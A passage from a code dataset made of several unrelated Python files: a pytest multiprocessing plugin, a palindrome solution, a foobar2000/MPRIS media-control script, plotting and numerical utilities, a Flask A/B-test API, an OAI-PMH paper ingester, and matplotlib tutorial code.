test.config.hook.pytest_runtest_protocol(item=test, nextitem=next_test)\n if session.shouldstop:\n raise session.Interrupted(session.shouldstop)\n if finished_signal:\n finished_signal.set()\n\n\ndef run_isolated_serial_batch(batch, final_test, session, finished_signal=None):\n tests = batch['tests']\n for i, test in enumerate(tests):\n next_test = tests[i + 1] if i + 1 < len(tests) else None\n next_test = final_test or next_test\n run_test(test, next_test, session)\n if finished_signal:\n finished_signal.set()\n return\n\n\ndef submit_test_to_process(test, session):\n proc = multiprocessing.Process(target=run_test, args=(test, None, session, synchronization['trigger_process_loop']))\n with synchronization['processes_lock']:\n proc.start()\n pid = proc.pid\n synchronization['running_pids'][pid] = True\n synchronization['processes'][pid] = proc\n synchronization['trigger_process_loop'].set()\n\n\ndef submit_batch_to_process(batch, session):\n\n def run_batch(tests, finished_signal):\n for i, test in enumerate(tests):\n next_test = tests[i + 1] if i + 1 < len(tests) else None\n test.config.hook.pytest_runtest_protocol(item=test, nextitem=next_test)\n if session.shouldstop:\n raise session.Interrupted(session.shouldstop)\n finished_signal.set()\n\n proc = multiprocessing.Process(target=run_batch, args=(batch['tests'], synchronization['trigger_process_loop']))\n with synchronization['processes_lock']:\n proc.start()\n pid = proc.pid\n synchronization['running_pids'][pid] = True\n synchronization['processes'][pid] = proc\n synchronization['trigger_process_loop'].set()\n\n\ndef reap_finished_processes():\n with synchronization['processes_lock']:\n pid_list = list(synchronization['finished_pids'].keys())\n synchronization['finished_pids'].clear()\n\n for pid in pid_list:\n synchronization['processes'][pid].join()\n del synchronization['processes'][pid]\n\n\ndef wait_until_no_running():\n wait_until_can_submit(1)\n\n\ndef wait_until_can_submit(num_processes):\n while True:\n with synchronization['processes_lock']:\n num_pids = len(synchronization['running_pids'])\n\n if num_pids < num_processes:\n return\n\n synchronization['process_finished'].wait()\n synchronization['process_finished'].clear()\n\n\ndef run_batched_tests(batches, session, num_processes):\n sorting = dict(free=3, serial=2, isolated_free=1, isolated_serial=0)\n\n batch_names = sorted(batches.keys(), key=lambda x: sorting.get(batches[x]['strategy'], 4))\n\n if not num_processes:\n for i, batch in enumerate(batch_names):\n next_test = batches[batch_names[i + 1]]['tests'][0] if i + 1 < len(batch_names) else None\n run_isolated_serial_batch(batches[batch], next_test, session)\n return\n\n for batch in batch_names:\n strategy = batches[batch]['strategy']\n if strategy == 'free':\n for test in batches[batch]['tests']:\n wait_until_can_submit(num_processes)\n submit_test_to_process(test, session)\n reap_finished_processes()\n elif strategy == 'serial':\n wait_until_can_submit(num_processes)\n submit_batch_to_process(batches[batch], session)\n reap_finished_processes()\n elif strategy == 'isolated_free':\n wait_until_no_running()\n for test in batches[batch]['tests']:\n wait_until_can_submit(num_processes)\n submit_test_to_process(test, session)\n reap_finished_processes()\n wait_until_no_running()\n elif strategy == 'isolated_serial':\n wait_until_no_running()\n submit_batch_to_process(batches[batch], session)\n reap_finished_processes()\n wait_until_no_running()\n else:\n raise Exception('Unknown strategy {}'.format(strategy))\n\n wait_until_no_running()\n reap_finished_processes()\n\n\ndef process_loop(num_processes):\n while True:\n triggered = synchronization['trigger_process_loop'].wait(.1)\n if triggered:\n synchronization['trigger_process_loop'].clear()\n\n with synchronization['processes_lock']:\n pid_list = list(synchronization['running_pids'].keys())\n\n num_pids = len(pid_list)\n\n for pid in pid_list:\n try:\n proc = psutil.Process(pid)\n if proc.status() not in ('stopped', 'zombie'):\n continue\n except psutil.NoSuchProcess:\n pass\n except IOError:\n continue\n with synchronization['processes_lock']:\n del synchronization['running_pids'][pid]\n synchronization['finished_pids'][pid] = True\n\n synchronization['process_finished'].set()\n num_pids -= 1\n\n if synchronization['reap_process_loop'].is_set() and len(synchronization['running_pids']) == 0:\n return\n\n\ndef pytest_runtestloop(session):\n if (session.testsfailed and not session.config.option.continue_on_collection_errors):\n raise session.Interrupted(\"{} errors during collection\".format(session.testsfailed))\n\n if session.config.option.collectonly:\n return True\n\n use_mp, num_processes = load_mp_options(session)\n\n batches = batch_tests(session)\n\n if not use_mp or not num_processes:\n return main.pytest_runtestloop(session)\n\n synchronization['stats'] = manager.dict()\n synchronization['stats_lock'] = multiprocessing.Lock()\n synchronization['stats']['failed'] = False\n\n synchronization['trigger_process_loop'] = multiprocessing.Event()\n synchronization['trigger_process_loop'].set()\n synchronization['process_finished'] = multiprocessing.Event()\n synchronization['reap_process_loop'] = multiprocessing.Event()\n synchronization['processes_lock'] = multiprocessing.Lock()\n synchronization['running_pids'] = manager.dict()\n synchronization['finished_pids'] = manager.dict()\n synchronization['processes'] = dict()\n\n proc_loop = multiprocessing.Process(target=process_loop, args=(num_processes,))\n proc_loop.start()\n\n run_batched_tests(batches, session, num_processes)\n\n synchronization['reap_process_loop'].set()\n proc_loop.join()\n\n if synchronization['stats']['failed']:\n session.testsfailed = True\n\n return True\n\n\ndef pytest_runtest_logreport(report):\n # Keep flag of failed tests for session.testsfailed, which decides return code.\n if 'stats' in synchronization:\n with synchronization['stats_lock']:\n if report.failed and not synchronization['stats']['failed']:\n if report.when == 'call':\n synchronization['stats']['failed'] = True\n\n\n@pytest.mark.trylast\ndef pytest_configure(config):\n config.addinivalue_line('markers',\n \"mp_group('GroupName', strategy): test (suite) is in named \"\n \"grouped w/ desired strategy: 'free' (default), 'serial', \"\n \"'isolated_free', or 'isolated_serial'.\")\n\n standard_reporter = config.pluginmanager.get_plugin('terminalreporter')\n if standard_reporter:\n from pytest_mp.terminal import MPTerminalReporter\n mp_reporter = MPTerminalReporter(standard_reporter, manager)\n config.pluginmanager.unregister(standard_reporter)\n config.pluginmanager.register(mp_reporter, 'terminalreporter')\n\n if config.option.use_mp is None:\n if not config.getini('mp'):\n return\n\n if config.option.xmlpath is not None:\n from pytest_mp.junitxml import MPLogXML\n synchronization['node_reporters'] = manager.list()\n synchronization['node_reporters_lock'] = manager.Lock()\n xmlpath = config.option.xmlpath\n config.pluginmanager.unregister(config._xml)\n config._xml = MPLogXML(xmlpath, config.option.junitprefix, config.getini(\"junit_suite_name\"), manager)\n config.pluginmanager.register(config._xml, 'mpjunitxml')\n","repo_name":"ansible/pytest-mp","sub_path":"pytest_mp/plugin.py","file_name":"plugin.py","file_ext":"py","file_size_in_byte":14591,"program_lang":"python","lang":"en","doc_type":"code","stars":57,"dataset":"github-code","pt":"21"} +{"seq_id":"21397898609","text":"import math\nclass Solution:\n def isPalindrome(self, x: int) -> bool:\n if x < 0:\n return False\n if x == 0:\n return True\n\n def pos_i_digit(i: int, n: int):\n reduced = n % (10**i)\n return (reduced - reduced % (10**(i - 1))) // (10 ** (i - 1))\n\n num_digits = math.floor(math.log10(x)) + 1\n for i in range(num_digits//2 ):\n if pos_i_digit(i+1, x) != pos_i_digit(num_digits - i, x):\n return False\n \n return True\n","repo_name":"deokapil/leetcode","sub_path":"practicepy/palindrome-num.py","file_name":"palindrome-num.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"14668710364","text":"#!/usr/bin/env python3\n\"\"\"\nControls the media player using MPRIS protocol and fb2k command line.\nWhen fb2k is Playing/Paused, it controls fb2k and pauses other MPRIS clients.\nWhen fb2k is Stopped/not running, it controls MPRIS clients.\n\nNote that it assumes 1) fb2k's executable name of \"foobar2000.exe\", and 2) a wrapper script for fb2k in $PATH.\nThe wrapper script should look like this:\n> exec wine /home/pjm0616/.wine/drive_c/apps/foobar2000/foobar2000.exe \"$@\"\n\"\"\"\nimport sys\nimport subprocess\nimport re\nimport requests\nimport urllib.parse\n\n# Use foo_beefweb component for controlling fb2k. (https://github.com/hyperblast/beefweb)\n# Set to None to disable beefweb and fallback to fb2k command line.\n# To use, 1) install foo_beefweb component, and 2) configure beefweb to listen on 127.0.0.1:12321 without auth.\nfb2k_beefweb_url = 'http://127.0.0.1:12321'\n\ndef fb2k_active():\n\t\"\"\"Checks whether fb2k's status is Playing or Paused\"\"\"\n\toutput = subprocess.check_output(['pactl', 'list', 'sink-inputs'], encoding='utf8')\n\tfor entry in output.split('\\n\\n'):\n\t\tentry = entry.strip()\n\t\tif not entry.startswith('Sink Input #'):\n\t\t\tcontinue\n\t\tif '\\t\\tapplication.name = \"foobar2000.exe\"' in entry:\n\t\t\treturn True\n\treturn False\n\ndef mpris_cmd(cmd):\n\tif cmd == 'random':\n\t\treturn False\n\toutput = subprocess.check_output(['playerctl', cmd], encoding='utf8').strip()\n\treturn output\n\nfb2k_cmdmap = {\n\t'play': '/play',\n\t'pause': '/pause',\n\t'play-pause': '/playpause',\n\t'stop': '/stop',\n\t'next': '/next',\n\t'previous': '/prev',\n\n\t# Note: this command is not present in playerctl - it's fb2k only.\n\t'random': '/rand',\n}\nfb2k_apimap = {\n\t'play': '/play',\n\t'pause': '/pause',\n\t'play-pause': '/pause/toggle',\n\t'stop': '/stop',\n\t'next': '/next',\n\t'previous': '/previous',\n\n\t# Note: this command is not present in playerctl - it's fb2k only.\n\t'random': '/play/random',\n}\ndef fb2k_beefweb_cmd(cmd):\n\tassert fb2k_beefweb_url\n\tpath = fb2k_apimap[cmd]\n\ttry:\n\t\tr = requests.post('%s/api/player%s' % (fb2k_beefweb_url, path), timeout=0.5)\n\texcept requests.ConnectionError as err:\n\t\treturn False\n\tif not r.ok:\n\t\treturn False\n\ndef fb2k_beefweb_status():\n\tassert fb2k_beefweb_url\n\ttry:\n\t\tr = requests.get('%s/api/player' % fb2k_beefweb_url, timeout=0.5)\n\texcept requests.ConnectionError as err:\n\t\treturn False\n\tif r.status_code != 200:\n\t\treturn False\n\tdata = r.json()\n\tstatus = data['player']['playbackState']\n\tstatus = {'playing': 'Playing', 'paused': 'Paused', 'stopped': 'Stopped'}[status]\n\treturn status\n\ndef md_sanitize_str(s):\n\treturn re.sub('[\\x00\\r\\n]', '', s)\n\ndef fb2k_beefweb_metadata():\n\tassert fb2k_beefweb_url\n\tcols = ['album', 'artist', 'title', 'length']\n\tcolreqstr = ','.join('%'+col+'%' for col in cols)\n\ttry:\n\t\tr = requests.get('%s/api/player?columns=%s' % (fb2k_beefweb_url, urllib.parse.quote(colreqstr)), timeout=0.5)\n\texcept requests.ConnectionError as err:\n\t\treturn False\n\tif r.status_code != 200:\n\t\treturn False\n\tdata = r.json()\n\tactive = data['player']['activeItem']\n\tfb2k_metadata = dict(zip(cols, active['columns']))\n\n\t# Convert metadata to mpris format.\n\t# See: https://www.freedesktop.org/wiki/Specifications/mpris-spec/metadata/\n\tmpris_metadata = {}\n\tfor col in ['album', 'artist', 'title']:\n\t\tmpris_metadata['xesam:' + col] = md_sanitize_str(fb2k_metadata[col])\n\tif fb2k_metadata['length']:\n\t\t# Convert length in \"5:00.123\" form to usecs.\n\t\tm = re.match(r'^(\\d+):(\\d+)(\\.\\d+)?$', fb2k_metadata['length'])\n\t\tval = int(m.group(1)) * 60 + int(m.group(2))\n\t\tif m.group(3):\n\t\t\tval += float(m.group(3))\n\t\tval = int(val * 1000000)\n\t\tmpris_metadata['mpris:length'] = val\n\n\tplayer_name = 'foobar2000.exe'\n\tbuf = []\n\tfor key, val in mpris_metadata.items():\n\t\tbuf.append('%s %s %s' % (player_name, key, val))\n\treturn '\\n'.join(buf)\n\ndef fb2k_native_cmd(cmd):\n\tfb2k_cmd = fb2k_cmdmap[cmd]\n\tsubprocess.check_output(['foobar2000', fb2k_cmd], stderr=subprocess.DEVNULL, encoding='utf8')\n\ndef fb2k_cmd(cmd):\n\tif cmd == 'status':\n\t\treturn fb2k_beefweb_status()\n\tif cmd == 'metadata':\n\t\treturn fb2k_beefweb_metadata()\n\n\tret = False\n\tif fb2k_beefweb_url:\n\t\tret = fb2k_beefweb_cmd(cmd)\n\tif ret is False:\n\t\tret = fb2k_native_cmd(cmd)\n\treturn ret\n\ndef docmd(cmd):\n\tif fb2k_active():\n\t\tret = fb2k_cmd(cmd)\n\t\tif mpris_cmd('status') == 'Playing':\n\t\t\tmpris_cmd('pause')\n\telse:\n\t\tret = mpris_cmd(cmd)\n\treturn ret\n\nif __name__ == '__main__':\n\tcmd = sys.argv[1]\n\tassert cmd in [\n\t\t'play', 'pause', 'play-pause', 'stop', 'next', 'previous', 'status', 'metadata',\n\t\t'random', # fb2k only\n\t]\n\tret = docmd(cmd)\n\tif ret:\n\t\tprint(ret)\n\tif ret is False:\n\t\tsys.exit(1)\n","repo_name":"pjm0616/awesome-config","sub_path":"scripts/my_playerctl.py","file_name":"my_playerctl.py","file_ext":"py","file_size_in_byte":4537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6309564867","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\nimport numpy as np\nfrom math import pi\n\ndef calc_fsa(x, R, Z):\n\n\n R1 = R[:, :-1]\n R2 = np.roll(R[:, :-1], -1, axis=1)\n Z1 = Z[:, :-1]\n Z2 = np.roll(Z[:, :-1], -1, axis=1)\n x1 = x[:, :-1]\n x2 = np.roll(x[:, :-1], -1, axis=1)\n\n dl = np.sqrt((R2 - R1) ** 2 + (Z2 - Z1) ** 2)\n\n R_av = (R1 + R2)/2\n\n dA = dl * (2 * pi * R_av)\n\n x_av = (x1 + x2)/2\n\n fsa = np.sum(x_av * dA, axis=1) / np.sum(dA, axis=1)\n fsa[0] = x[0, 0]\n return fsa","repo_name":"gt-frc/gt3","sub_path":"GT3/Core/Functions/CalcFSA.py","file_name":"CalcFSA.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"31896072921","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef plot2D(function_dictionary, x_stack, y_stack):\n\n # f = fuction_dictionary['f']\n x_values = np.linspace(-2, 2, 1000)\n y_values = function_dictionary['f'](x_values)\n \n plt.plot(x_values, y_values)\n\n plt.xlabel('x')\n plt.ylabel('y')\n plt.title('2D PLOT\\ny(x)')\n plt.grid(True)\n\n plt.scatter(x_stack, y_stack, s=5, c='r', marker='o')\n\n plt.show()\n\n\ndef plot3D(function_dictionary, x1_stack, x2_stack, y_stack):\n\n # meshgrid\n x1 = np.linspace(-5, 5, 100)\n x2 = np.linspace(-5, 5, 100)\n X1, X2 = np.meshgrid(x1, x2)\n\n # values of the function for each (x1, x2) pair\n G = np.vectorize(function_dictionary['f'])(X1, X2)\n\n # 3D plot\n fig = plt.figure(figsize=(12,5))\n ax1 = fig.add_subplot(121, projection='3d')\n ax1.plot_surface(X1, X2, G, cmap='viridis')\n ax1.set_xlabel('X1')\n ax1.set_ylabel('X2')\n ax1.set_zlabel('Y')\n ax1.set_title('3D PLOT\\ny(x1, x2)')\n\n ax1.scatter(x1_stack, x2_stack, y_stack, s=5, c='r', marker='o', zorder=2)\n \n # contour plot\n ax2 = fig.add_subplot(122)\n levels = np.linspace(np.min(G), np.max(G), 10)\n contours = ax2.contour(X1, X2, G, levels=levels, cmap='coolwarm')\n ax2.set_xlabel('X1')\n ax2.set_ylabel('X2')\n ax2.set_title('CONTOUR MAP\\ny(x1, x2)')\n ax2.grid()\n\n ax2.scatter(x1_stack, x2_stack, s=5, c='r', marker='o')\n\n # displaying plots\n plt.show()","repo_name":"hubert-groen/mini_PROJECTS","sub_path":"GLOBAL MINIMUM/visualization.py","file_name":"visualization.py","file_ext":"py","file_size_in_byte":1446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38866433110","text":"\"\"\"REST API for sample size calcs.\"\"\"\nimport flask\nimport sample_size\nfrom ._utils import _loss_choose_B_over_A\nfrom ._utils import _probability_B_beats_A\n\n\n@sample_size.app.route('/api/v1/loss_function/', methods=[\"GET\"])\ndef get_loss_function():\n \"\"\"Get loss_function value for each variant\"\"\"\n\n context = {}\n a_A = flask.request.args.get('alpha_A', type=int)\n b_A = flask.request.args.get('beta_A', type=int)\n a_B = flask.request.args.get('alpha_B', type=int)\n b_B = flask.request.args.get('beta_B', type=int)\n\n code = 200\n if a_A is None or b_A is None or a_B is None or b_B is None:\n code = 400\n context['response_code'] = 400\n context['message'] = ('alpha_A, beta_A, alpha_B, and beta_B are '\n 'all required parameters')\n else:\n results = {}\n results['choose_variant_A'] = _loss_choose_B_over_A(a_B, b_B, a_A, b_A)\n results['choose_variant_B'] = _loss_choose_B_over_A(a_A, b_A, a_B, b_B)\n\n results['probability_A_greater_than_B'] = _probability_B_beats_A(a_B,\n b_B,\n a_A,\n b_A)\n results['probability_B_greater_than_A'] = _probability_B_beats_A(a_A,\n b_A,\n a_B,\n b_B)\n\n context['url'] = flask.request.path\n inputs = {}\n inputs['alpha_A'] = a_A\n inputs['beta_A'] = b_A\n inputs['alpha_B'] = a_B\n inputs['beta_B'] = b_B\n context['inputs'] = inputs\n context['outputs'] = results\n\n return flask.jsonify(**context), code\n","repo_name":"bakermoran/ab-test-sample-size-backend","sub_path":"sample_size/api/loss_function.py","file_name":"loss_function.py","file_ext":"py","file_size_in_byte":1923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38594721594","text":"import logging\n\nfrom datetime import datetime\n\nfrom backend.papersource import PaperSource\n\nfrom django.db import transaction\nfrom multiprocessing_generator import ParallelGenerator\nfrom oaipmh.client import Client\n\nfrom oaipmh.error import NoRecordsMatchError\nfrom oaipmh.metadata import MetadataRegistry\nfrom oaipmh.metadata import oai_dc_reader\nfrom papers.models import Paper\nfrom backend.translators import OAIDCTranslator\nfrom backend.translators import BASEDCTranslator\nfrom backend.oaireader import base_dc_reader\n\nlogger = logging.getLogger('dissemin.' + __name__)\n\nclass OaiPaperSource(PaperSource): # TODO: this should not inherit from PaperSource\n \"\"\"\n A paper source that fetches records from the OAI-PMH proxy\n (typically: proaixy).\n\n It uses the ListRecord verb to fetch records from the OAI-PMH\n source. Each record is then converted to a :class:`BarePaper`\n by an :class:`OaiTranslator` that handles the format\n the metadata is served in.\n \"\"\"\n\n def __init__(self, oaisource, day_granularity=False, *args, **kwargs):\n \"\"\"\n This sets up the paper source.\n\n :param oaisource: the OAISource to fetch from.\n :param day_granularity: should we use day-granular timestamps\n to fetch from the proxy or full timestamps (default: False,\n full timestamps)\n\n See the protocol reference for more information on timestamp\n granularity:\n https://www.openarchives.org/OAI/openarchivesprotocol.html\n \"\"\"\n super(OaiPaperSource, self).__init__(*args, **kwargs)\n if not oaisource.endpoint:\n raise ValueError('No OAI endpoint was configured for this OAI source.')\n\n self.registry = MetadataRegistry()\n self.registry.registerReader('oai_dc', oai_dc_reader)\n self.registry.registerReader('base_dc', base_dc_reader)\n self.client = Client(oaisource.endpoint, self.registry)\n self.client._day_granularity = day_granularity\n self.translators = {\n 'oai_dc': OAIDCTranslator(oaisource),\n 'base_dc': BASEDCTranslator(oaisource),\n }\n\n # Translator management\n\n def add_translator(self, translator):\n \"\"\"\n Adds the given translator to the paper source,\n so that we know how to translate papers in the given format.\n\n The paper source cannot hold more than one translator\n per OAI format (it decides what translator to use\n solely based on the format) so if there is already a translator\n for that format, it will be overriden.\n \"\"\"\n self.translators[translator.format()] = translator\n\n # Record ingestion\n\n def ingest(self, from_date=None, metadataPrefix='oai_dc',\n resumptionToken=None):\n \"\"\"\n Main method to fill Dissemin with papers!\n\n :param from_date: only fetch papers modified after that date in\n the proxy (useful for incremental fetching)\n :param metadataPrefix: restrict the ingest for this metadata\n format\n \"\"\"\n args = {'metadataPrefix':metadataPrefix}\n if from_date:\n args['from_'] = from_date\n if resumptionToken:\n args['resumptionToken'] = resumptionToken\n records = self.client.listRecords(**args)\n self.process_records(records, metadataPrefix)\n\n def create_paper_by_identifier(self, identifier, metadataPrefix):\n \"\"\"\n Queries the OAI-PMH proxy for a single paper.\n\n :param identifier: the OAI identifier to fetch\n :param metadataPrefix: the format to use (a translator\n has to be registered for that format, otherwise\n we return None with a warning message)\n :returns: a Paper or None\n \"\"\"\n record = self.client.getRecord(\n metadataPrefix=metadataPrefix,\n identifier=identifier)\n return self.process_record(record[0], record[1]._map, metadataPrefix)\n\n # Record search utilities\n\n def listRecords_or_empty(self, source, *args, **kwargs):\n \"\"\"\n pyoai raises :class:`NoRecordsMatchError` when no records match,\n we would rather like to get an empty list in that case.\n \"\"\"\n try:\n return source.listRecords(*args, **kwargs)\n except NoRecordsMatchError:\n return []\n\n def process_record(self, header, metadata, format):\n \"\"\"\n Saves the record given by the header and metadata (as returned by\n pyoai) into a Paper, or None if anything failed.\n \"\"\"\n translator = self.translators.get(format)\n if translator is None:\n logger.warning(\"Unknown metadata format %s, skipping\" % header.format())\n return\n\n paper = translator.translate(header, metadata)\n if paper is not None:\n try:\n with transaction.atomic():\n saved = Paper.from_bare(paper)\n return saved\n except ValueError:\n logger.exception(\"Ignoring invalid paper with header %s\" % header.identifier())\n\n def process_records(self, listRecords, format):\n \"\"\"\n Save as :class:`Paper` all the records contained in this list\n \"\"\"\n # check that we have at least one translator, otherwise\n # it's not really worth trying…\n if not self.translators:\n raise ValueError(\"No OAI translators have been set up: \" +\n \"We cannot save any record.\")\n\n last_report = datetime.now()\n processed_since_report = 0\n\n with ParallelGenerator(listRecords, max_lookahead=1000) as g:\n for record in g:\n header = record[0]\n metadata = record[1]._map\n\n self.process_record(header, metadata, format)\n\n # rate reporting\n processed_since_report += 1\n if processed_since_report >= 1000:\n td = datetime.now() - last_report\n rate = 'infty'\n if td.seconds:\n rate = str(processed_since_report / td.seconds)\n logger.info(\"current rate: %s records/s\" % rate)\n processed_since_report = 0\n last_report = datetime.now()\n","repo_name":"dissemin/dissemin","sub_path":"backend/oai.py","file_name":"oai.py","file_ext":"py","file_size_in_byte":6369,"program_lang":"python","lang":"en","doc_type":"code","stars":166,"dataset":"github-code","pt":"21"} +{"seq_id":"19978154180","text":"\n# coding: utf-8\n\n# In[14]:\n\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nx = np.linspace(-3, 3, 50)\ny1 = x**2 \ny2 = 2*x\n\n# plt.figure()\n# plt.plot(x, y1)\n\nplt.figure(num = 3, figsize = (10, 5))\nplt.plot(x, y1, y2, color = 'red', linewidth = 1.0, linestyle= '--')\n\nplt.show()\n\n\n# In[24]:\n\n\n## 修改坐标轴\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nx = np.linspace(-3, 3, 50)\ny1 = x**2 \ny2 = 2*x\n\n# plt.figure()\n# plt.plot(x, y1)\n\nplt.figure(num = 3, figsize = (10, 5))\nplt.plot(x, y1, y2, color = 'red', linewidth = 1.0, linestyle= '--')\n\nplt.xlim(-1, 2)\nplt.ylim(-2, 3)\nplt.xlabel(\"x\")\nplt.ylabel(\"y\")\n\nnew_ticks = np.linspace(-1, 2, 5)\nprint(new_ticks)\nplt.xticks(new_ticks)\nplt.yticks([-2, -1.8, -1, 1.22, 3],\n [r'$really\\ bad$', r'$bad\\ \\alpha$', r'$normal$', r'$good$', r'$really\\ good$']\n\n)\n\nplt.show()\n\n\n# In[36]:\n\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nx = np.linspace(-3, 3, 50)\ny1 = 2*x + 1\ny2 = x**2\n\nplt.figure()\n\nplt.xlim(-1, 2)\nplt.ylim(-2, 3)\nplt.xlabel(\"x\")\nplt.ylabel(\"y\")\n\nnew_ticks = np.linspace(-1, 2, 5)\nprint(new_ticks)\nplt.xticks(new_ticks)\nplt.yticks([-2, -1.8, -1, 1.22, 3],\n [r'$really\\ bad$', r'$bad\\ \\alpha$', r'$normal$', r'$good$', r'$really\\ good$']\n)\nl2, = plt.plot(x, y2, label = \"up\")\nl1, = plt.plot(x, y1, color = 'red', linewidth = 1.0, linestyle= '--', label = 'down')\nplt.legend(handles=[l1,l2], labels = ['aaa','bbb' ], loc='best')\n\n# gca = 'get current axis'\nax = plt.gca()\nax.spines['right'].set_color('none')\nax.spines['top'].set_color('none')\nax.xaxis.set_ticks_position('bottom')\nax.yaxis.set_ticks_position('left')\nax.spines['bottom'].set_position(('data', -1))\nax.spines['left'].set_position(('data', 0))\n\nplt.show()\n\n\n# In[64]:\n\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nx = np.linspace(-3, 3, 50)\ny = 2*x + 1\n\nplt.figure(num = 1, figsize = (8, 5),)\nplt.plot(x, y,)\n\nax = plt.gca()\nax.spines['right'].set_color('none')\nax.spines['top'].set_color('none')\nax.xaxis.set_ticks_position('bottom')\nax.spines['bottom'].set_position(('data', 0))\nax.yaxis.set_ticks_position('left')\nax.spines['left'].set_position(('data', 0))\n\nx0 = 1\ny0 = 2*x0 + 1\nplt.scatter(x0, y0, s = 50, color = 'b')\nplt.plot([x0, x0], [y0, 0], 'k--',lw = 2.5)\n\n# method 1\nplt.annotate(r'$2x+1 = %s$'% y0, xy = (x0, y0),xycoords = 'data', xytext = (+30, -30), textcoords = 'offset points',\n fontsize = 16, arrowprops = dict(arrowstyle = '->', connectionstyle = 'arc3, rad = .2'))\n# method 2\nplt.text(-3.7, 3, r'$This\\ is\\ the\\ some\\ text.\\mu\\ \\sigma_i\\ \\alpha_t$', fontdict = {'size': 16, 'color': 'r'})\n\nfor label in ax.get_xticklabels() + ax.get_yticklabels():\n label.set_fontsize(12)\n label.set_bbox(dict(facecolor = 'white', edgecolor = 'None', alpha = 0.7))\nplt.show()\n\n\n# In[70]:\n\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nn = 1024\nX = np.random.normal(0, 1, n)\nY = np.random.normal(0, 1, n)\nT = np.arctan2(Y, X) # for color value\n\nplt.scatter(X, Y, s = 75, c = T, alpha=0.5)\n# plt.scatter(np.arange(5), np.arange(5))\nplt.xlim(-1.5, 1.5)\nplt.ylim(-1.5, 1.5)\nplt.xticks(())\nplt.yticks(())\n\nplt.show()\n\n\n# In[76]:\n\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nn = 12\nX = np.arange(n)\nY1 = (1-X/float(n))*np.random.uniform(0.5, 1.0,n)\nY2 = (1-X/float(n))*np.random.uniform(0.5, 1.0,n)\n\nplt.bar(X, +Y1, facecolor = '#9999ff', edgecolor = 'white')\nplt.bar(X, -Y2, facecolor = '#ff9999', edgecolor = 'white')\n\nfor x, y in zip(X, Y1):\n plt.text(x + 0.4, y +0.05, '%.2f'% y, ha = 'center', va = 'bottom')\n \nfor x, y in zip(X, Y2):\n plt.text(x + 0.4, -y -0.05, '-%.2f'% y, ha = 'center', va = 'top')\n \nplt.xlim(-5, n)\nplt.xticks(())\nplt.ylim(-1.25, 1.25)\nplt.yticks(())\n\nplt.show()\n \n\n\n# In[87]:\n\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\ndef f(x, y):\n # the height function\n return (1-x/2 + x**5 + 7**3)*np.exp(-x**2-y**2)\n\nn = 256\nx = np.linspace(-3, 3, n)\ny = np.linspace(-3, 3, n)\nX, Y = np.meshgrid(x, y)\n\nplt.contourf(X, Y, f(X, Y),8, alpha = 0.75, cmap = plt.cm.hot)\nC = plt.contour(X, Y, f(X,Y), 8, colors = 'black', linewidth =.10)\nplt.clabel(C, inline = True, fontsize = 10)\nplt.xticks(())\nplt.yticks(())\n\nplt.show()\n\n\n# In[15]:\n\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\na = np.array([0.34343, 0.3453453, 0.4456345645,\n 0.3546, 0.465645, 0.546435,\n 0.45646, 0.5416346, 0.6464164]).reshape(3, 3)\n\nplt.imshow(a, interpolation = 'nearest', cmap = 'bone', origin = 'upper')\nplt.colorbar(shrink = 0.8)\n\nplt.xticks(())\nplt.yticks(())\nplt.show()\n\n\n# In[26]:\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\n\nfig = plt.figure() # window\nax = Axes3D(fig) \n# X, Y value\nX = np.arange(-4, 4, 0.25)\nY = np.arange(-4, 4, 0.25)\nX,Y = np.meshgrid(X, Y)\nR = np.sqrt(X**2 + Y**2)\n# height value\nZ = np.sin(R)\n\nax.plot_surface(X, Y, Z, rstride = 1, cstride = 1, cmap = plt.get_cmap('rainbow'))\nax.contourf(X, Y, Z, zdir = 'z', offset = -2, cmap = 'rainbow')\n\nplt.show()\n\n\n# In[34]:\n\n\nimport matplotlib.pyplot as plt\n\nplt.figure()\n\nplt.subplot(2,1,1)\nplt.plot([0, 1], [0, 1])\n\nplt.subplot(2,3,4)\nplt.plot([0, 1], [0, 2])\n\nplt.subplot(2,3,5)\nplt.plot([0, 1], [0, 3])\n\nplt.subplot(2,3,6)\nplt.plot([0, 1], [0, 4])\n\nplt.show()\n\n\n# In[39]:\n\n\nimport matplotlib.pyplot as plt\nimport matplotlib.gridspec as gridspec\n\n# method 1:subplot2grid\nplt.figure()\nax1 = plt.subplot2grid((3, 3), (0, 0), colspan=3, rowspan=1)\nax1.plot([1,2],[1,2])\nax1.set_title('ax1_title')\nax2 = plt.subplot2grid((3, 3), (1, 0), colspan=2)\nax3 = plt.subplot2grid((3, 3), (1, 2), rowspan=2)\nax4 = plt.subplot2grid((3, 3), (2, 0))\nax5 = plt.subplot2grid((3, 3), (2, 1))\n# method 2:gridspec\nplt.figure()\ngs = gridspec.GridSpec(3, 3)\nax1 = plt.subplot(gs[0,:])\nax2 = plt.subplot(gs[1,:2])\nax3 = plt.subplot(gs[1:,2])\nax4 = plt.subplot(gs[-1,0])\nax5 = plt.subplot(gs[-1,-2])\n\n# method 2:easy to define structure\n# f,((ax11,ax12),(ax21,ax22))plt.subplot(2,2,sharex=True,sharey=True)\n# ax11.scatter([1,2])\n\nplt.tight_layout()\nplt.show()\n\n\n# In[48]:\n\n\nimport matplotlib.pyplot as plt\nimport matplotlib.gridspec as gridspec\n\nfig = plt.figure()\nx = [1,2,3,4,5,6,7]\ny = 